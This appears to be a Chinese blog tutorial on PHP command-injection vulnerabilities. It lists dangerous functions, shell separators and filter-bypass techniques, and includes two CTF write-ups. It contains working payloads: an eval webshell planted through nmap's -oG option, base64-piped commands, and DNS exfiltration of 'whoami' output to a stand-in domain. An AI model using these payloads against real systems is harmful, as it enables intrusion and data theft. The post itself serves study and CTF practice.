当前位置:网站首页>PHP代码审计10—命令执行漏洞
PHP代码审计10—命令执行漏洞
2022-08-04 18:14:00 【W0ngk】
文章目录
一、命令执行漏洞基础
1、漏洞概述与原理
应用程序有时需要调用一些执行系统命令的函数,如在PHP中,使用system、exec、shell_exec、passthru、popen、proc_popen等函数可以执行系统命令。当黑客能控制这些函数中的参数时,就可以将恶意的系统命令拼接到正常命令中,从而造成命令执行攻击,这就是命令执行漏洞。 比如下面这个简单的代码场景:
<?php
system("ping -c 1 ".$_GET['ip']);
?>
当我们传入的IP不是规范的IP,而是夹杂了其他系统命令的时候就可能导致命令执行。比如我们构造payload为:192.168.0.0.1 || whomai
此时,我们通过system执行的命令就是:ping -c 1 192.168.0.0.1 || whomai
,由于操作系统允许同事执行多条命令,所以whoami命令就会被执行,导致了命令注入。
2、漏洞检测
对于漏洞检测,我们一般需要观察是否存在可以执行命令的函数,或者是否存在可以注入PHP代码的地方。这里主要探究是否存在命令执行函数的情况下的检测。对于PHP来说,常见的命令执行函数如下:
- system(): 执行系统命令,并将执行结果输出,只输出正确的结果,错误结果不输出。
- exec(): 执行命令,但无输出,可以指定output参数,会使用返回结果填充output;如果output参数中已经有元素,exec()会在output后面追加,output参数的返回结果是一个数组。
- shell_exec(): 执行系统命令,但不会有任何返回结果
- passthru(): 运行外部程序,并在屏幕上显示结果,类似于system(),对于错误的结果并不会输出。
- popen(): 打开一个指向进程的管道,该进程由派生给定的command命令执行而产生。返回一个和fopen()所返回的相同的文件指针,只不过它是单向的(只能用于读或写)并且必须用pclose()来关闭。
- proc_open(): 执行一个命令,并且打开用来输入/输出的文件指针。类似 popen() 函数, 但是 proc_open() 提供了更加强大的控制程序执行的能力。
关于这些函数的具体利用方式可以参考文末的资料。
3、常见命令拼接符
我们在命令执行漏洞利用过程中,往往不是直接替换参数中的命令来进行利用的,而更多的是类似于上面的例子一样,通过拼接命令的方式来进行漏洞利用。所以这里简单介绍了常见的一些命令拼接符。
1)Windows 系统
&
格式:命令1&命令2…命令n 规则:命令1和命令2一起执行,互不影响
示例如下:
&&
格式:命令1&&命令2…命令n 规则:命令1和命令2一起执行,如果命令1出错命令2则不执行
示例如下:
|
格式:命令1|命令2…命令n 规则:当命令1执行成功时才执行命令2,如果命令1执行不成功则不会执行命令2,在两者都成功的情况下,只显示命令2 的结果。
示例如下:
||
格式:命令1||命令2…命令n 规则:或运算,如果命令1执行失败,执行命令2,如果命令1执行成功,则不执行命令2
示例如下:
2)Linux系统
相比于Windows系统,Linux系统的"||"
、"|"
、"&&"
、"&"
拼接符号功能和Windows一样,但是在shell命令中Linux还定义了一个";"
用于表示语句的结尾,可以将多条shell命令通过";"
隔开。
;
格式:命令1;命令2…命令n 规则:隔开多条shell命令一起执行
示例如下:
4、常见防御方法绕过
对于命令执行的绕过方法研究,主要指linux系统下的防护绕过,所以这里也主要是分享linux下的绕过方法。
1)空格过滤绕过
使用间隔符“$IFS“绕过
利用原理:因为IFS为系统变量,默认值为空格,又因为变量的优先级要比命令高,所以可以使用命令+$IFS+参数的方式绕过空格过滤 但是我们并不能直接使用命令+$IFS+参数的方法进行绕过,比如cat$IFSflag.txt,这样是不可以的,因为linux系统或将$IFSflag看做一个整体,从而不能正常的被解析为空格。所以需要在$IFS后面进行截断,以保证$IFS被成功解析。 对于linux来说,常见的结束标识符有:',",\等,同时,linux系统还提供了${ }操作符来确定变量的范围。 同时,由于linux存在通配符,所以我们还可以使用通配符来进行匹配,从而让$IFS能够正常结束。
实际操作示例:
- 利用绝对路径前面的"/"分隔
利用通配符“?”分隔
利用“${}”分隔
使用大括号“{}”绕过
原理:在bash中"{}"可以当作一个代码块进行执行,命令之间";"隔开,参数用","隔开,但是要注意命令块中不允许有空格 格式:{ 命令1,参数1;命令2,参数2;....}
使用示例:
使用重定向输入符“<”绕过
原理:通过文件重定向来绕过空格的原理就是文件重定向符号执行优先级大于命令,当shell在解析命令时如果遇到文件重定向符号,首先将执行文件重定向符号,比如cat<1.txt,shell在解析这条命令时因为命令中含有"<"输入重定向,所以shell先执行重定向操作,将cat命令输入重定向到1.txt文件中,即cat命令的输入来自于1.txt文件,最后cat命令在执行时直接输出了1.txt文件的内容 格式:cat<fileName Tips: 对于文件重定向操作符绕过空格过滤,只能用于文件查看的相关命令,比如cat,head,tail,more等。
操作示例:
2)黑名单绕过
有时候目标会对一些关键命令的名称进行过滤,这样的过滤称之为黑名单,可以通过一些拼接和通配符等方法绕过黑名单,当然这些方法对一些笨重的过滤函数来说可行,当遇到正则过滤时就显得有些无力了,下面总结了一些常用绕过黑名单的方法,测试这些方法可以写一个命令执行的网页,然后编写简单的过滤规则
base64编码绕过
原理:将要执行的命令提前进行base64命令编码,然后将编码后的命令通过管道符解码并执行。 示例: 命令 cat flag.php 编码后为: Y2F0IGZsYWcucGhw 执行命令:echo Y2F0IGZsYWcucGhw|base64 -d|bash等效与执行:cat flag.php
示例情况:
shell局部变量拼接绕过
原理:在一个shell中定义变量通过名称=值来定义(定义时名称不要加$符号,等号两边不能加空格),查看变量值时可以通过echo $变量名称去查看变量内容,如果直接在命令行中输入变量名称,shell会先解析变量的内容然后将内容当成命令,所以通过将黑名单中过滤的命令名称拆解分成多个变量,然后通过输入变量名称的方式去达到绕过,比如cat flag.php绕过方式如下: a=c;b=a;c=t;d=.php;e=ag;f=fl;$a$b$c$IFS$f$e$d
示例情况:
引号、内置变量绕过
引号绕过原理:在linux系统中,如果在命令中插入成对的引号,但是引号内不包含任何字符的话,bash命令程序在执行时就会自动去除引号,执行正常命令。 内置变量绕过原理:内置变量$1-9,$*,用于获取脚本传入的参数,默认情况下等价于""、''。所以也还可以绕过。 引号绕过示例:ca''t$IFS''flag.php 内置变量绕过示例:c$1at$IFS$2flag.php
引号绕过示例:
内置变量绕过示例:
反斜杠绕过
原理:在shell中反斜杠除了可以转义特殊字符外还可以将命令分成多行,当命令过长时可以通过反斜杠去跨行输入命令。 比如下面这样:
远程执行示例:
字符串反序绕过
原理:字符串反序之后,能够绕过WAF检测,类似于base64编码绕过,不过这里需要注意的是,无论是反序绕过还是编码绕过,都借助了echo命令,如果echo命令同样被过滤的话,就需要加上其他的绕过方法。比如内置变量等。 示例: 先将命令反序:echo ”cat flag.php"|rev ————> php.galf tac 执行反序命令:echo$IFS$9php.galf$IFS$9tac|rev|bash
命令替换绕过
原理:常见的黑名单比如cat,就可以使用其他查看文件的命令绕过,比如:tail、more、less、head、tailf、nl等。
简单示例:
3)命令无回显绕过
对于命令无回显,可能就是目标网站使用的命令执行函数为exec或者shell_exec(),此时执行命令是无回显的,所以我们就需要想办法看到回显内容。常见的回显方法有DNS外带、http外带等,这里简单介绍两种方法,即重定向查看、延时查看和DNS外带。
重定向查看
原理:如果目标站点可以创建文件,我们可以通过重定向>、>>去将命令的输出重定向到一个文件中,然后再访问这个文件 比如:ls>ls.txt,然后访问ls.txt查看结果
延时查看
原理:和sql延时注入一样,通过判断条件设置页面的回显时间来检查命令是否执行,linux中提供了sleep命令,通过sleep命令配合||命令拼接符去检查命令是否执行,也可以将sleep换成ping命令,将ping包数量设置大一点点,通过F12查看 示例:echo "<?php @eval($_POST[cmd]); ?>" >>flag.php || sleep 5
DNS外带
原理:利用DNS的泛域名解析规则,我们的xx.xxx.xxx.abc.com,都会解析到abc.com上,利用DNS解析记录,将数据附带在DNS要解析的域名中,就会通过解析记录展示出数据。 示例:ping `whoami`.xxx.abc.cn
简单示例:
二、 CTF例题分析
1、BUUCTF 2018 Online tool
先看源码:
<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}
if(!isset($_GET['host'])) {
highlight_file(__FILE__);
} else {
$host = $_GET['host'];
$host = escapeshellarg($host);
$host = escapeshellcmd($host);
$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
echo 'you are in sandbox '.$sandbox;
@mkdir($sandbox);
chdir($sandbox);
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}
大致浏览一下,发现需要我们传入一个host参数,然后使用nmap来对该地址进行扫描。
在获取host后,可以发现,使用了escapeshellarg()函数和escapeshellcmd()函数过滤host内容。我们先看看escapeshellarg()函数的作用:
escapeshellarg() 将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,执行运算符(反引号)。这里的shell 函数包含 exec(), system() 等。
比如下面这两个例子:
echo escapeshellarg("Hello,world !!!") ————> 'Hello,world !!!'
echo escapeshellarg("Hello,'world' !!!") ————> 'Hello,'\''world'\'' !!!' echo escapeshellarg("'Hello,"world" !!!"'") ————> ''\''Hello,"world" !!!'
然后看看escapeshellcmd()函数的功能:
escapeshellcmd() 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。 此函数保证用户输入的数据在传送到 exec() 或 system() 函数,或者 执行操作符 之前进行转义。
反斜线(\)会在以下字符之前插入: &#;`|\?~<>^()[]{}$*, \x0A 和 \xFF*。 *’ 和 “ 仅在不配对儿的时候被转义。 在 Windows 平台上,所有这些字符以及 % 和 ! 字符都会被空格代替。
比如下面的情况:
echo escapeshellcmd("'127.0.0.1#") ————> \'192.168.92.1\# echo escapeshellcmd("'127.0.0.1'#") ————> '192.168.92.1'\#
所以经过这两个函数处理后,我们传入正常的IP会是下面这样:
127.0.0.1 ————>'127.0.0.1'
但是当我们在传入的参数中加上单引号之后:
127.0.0.1' ————>'127.0.0.1'\\''\'
由于\\
会被解析成\
,所以就失去了转义的作用,此时的'127.0.0.1'\\''\'
就相当于 '127.0.0.1' \'
.
所以我们这里就可以利用这个问题来构造paylaod:
首先我们需要知道,nmap的 -oG参数可以将代码与命令写到文件中,比如:nmap <?php phpinfo();?> -oG 1.php
就会将phpinfo()写入1.php中。
所以这里我们需要构造一句话木马来写入php文件,让最终执行的命令为:
nmap -T5 -sT -Pn --host-timeout 2 -F <?php @eval($_POST[cmd]);?> -oG shell.php
所以就要利用上面说到的单引号逃逸来构造paylaod:
?host=' <?php @eval($_POST[cmd]); ?> -oG shell.php '
传入host内容,发现返回了shell文件的地址:
访问shell文件,发现成功访问,说明命令执行成功,然后使用菜刀连接,成功获取到flag:
2、CTF.show web31
先看源码:
<?php
// flag in /flag
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
可以看到,过滤了flag、php等关键字,还有“."也过滤了。考虑上面的绕过方法,我们这里由于没有过滤echo,所以可以使用base64编码的方式绕过。或者使用其他命令替换cat并且使用通配符匹配文件以及使用%20和%09替换空格。
paylaod:
c=echo%09`head%09/fla?`
测试结果:
三、参考资料
边栏推荐
- 【无标题】
- Nintendo won't launch any new hardware until March 2023, report says
- 数据库SqlServer迁移PostgreSql实践
- 【STM32】入门(五):串口TTL、RS232、RS485
- 开发那些事儿:如何通过EasyCVR平台获取监控现场的人流量统计数据?
- Documentary on Security Reinforcement of Network Range Monitoring System (1)—SSL/TLS Encrypted Transmission of Log Data
- YOLOv7-Pose尝鲜,基于YOLOv7的关键点模型测评
- margin 塌陷和重合的理解
- leetcode/有效的回文串,含有不需要判断回文的字符
- 【软件工程之美 - 专栏笔记】37 | 遇到线上故障,你和高手的差距在哪里?
猜你喜欢
企业即时通讯软件有哪些功能?对企业有什么帮助?
OpenInfra Days China 2022|SelectDB与你共享 Apache Doris 在互联网广告业务中的实践
[Web Automation Test] Quick Start with Playwright, 5 minutes to get started
袋鼠云思枢:数驹DTengine,助力企业构建高效的流批一体数据湖计算平台
leetcode 14. 最长公共前缀
火灾报警联网FC18中CAN光端机常见问题解答和使用指导
防火墙基础之防火墙做出口设备安全防护
自己经常使用的三种调试:Pycharm、Vscode、pdb调试
#yyds干货盘点# 面试必刷TOP101:链表相加(二)
npm配置国内镜像(淘宝镜像)
随机推荐
FE01_OneHot-Scala Application
敏捷开发项目管理的一些心得
方法的重写
leetcode 13. 罗马数字转整数
动态数组底层是如何实现的
(ECCV-2022)GaitEdge:超越普通的端到端步态识别,提高实用性
Introduction of three temperature measurement methods for PT100 platinum thermal resistance
智能视频监控平台EasyCVR如何使用接口批量导出iframe地址?
电源测试系统-ATE电源测试系统-ACDC电源模块测试系统NSAT-8000
Literature Review on Involution of College Students
群友求助,一周没有搞定的需求,3分钟就解决了?
路由懒加载
npm配置国内镜像(淘宝镜像)
哈夫曼树(暑假每日一题 15)
Google Earth Engine APP——一键在线查看全球1984-至今年的影像同时加载一个影像分析
localstorage本地存储的方法
实验室专利书写指南
#yyds干货盘点# 面试必刷TOP101:链表相加(二)
使用scikit-learn计算文本TF-IDF值
EasyCVR calls the cloud recording API and returns an error and no recording file is generated. What is the reason?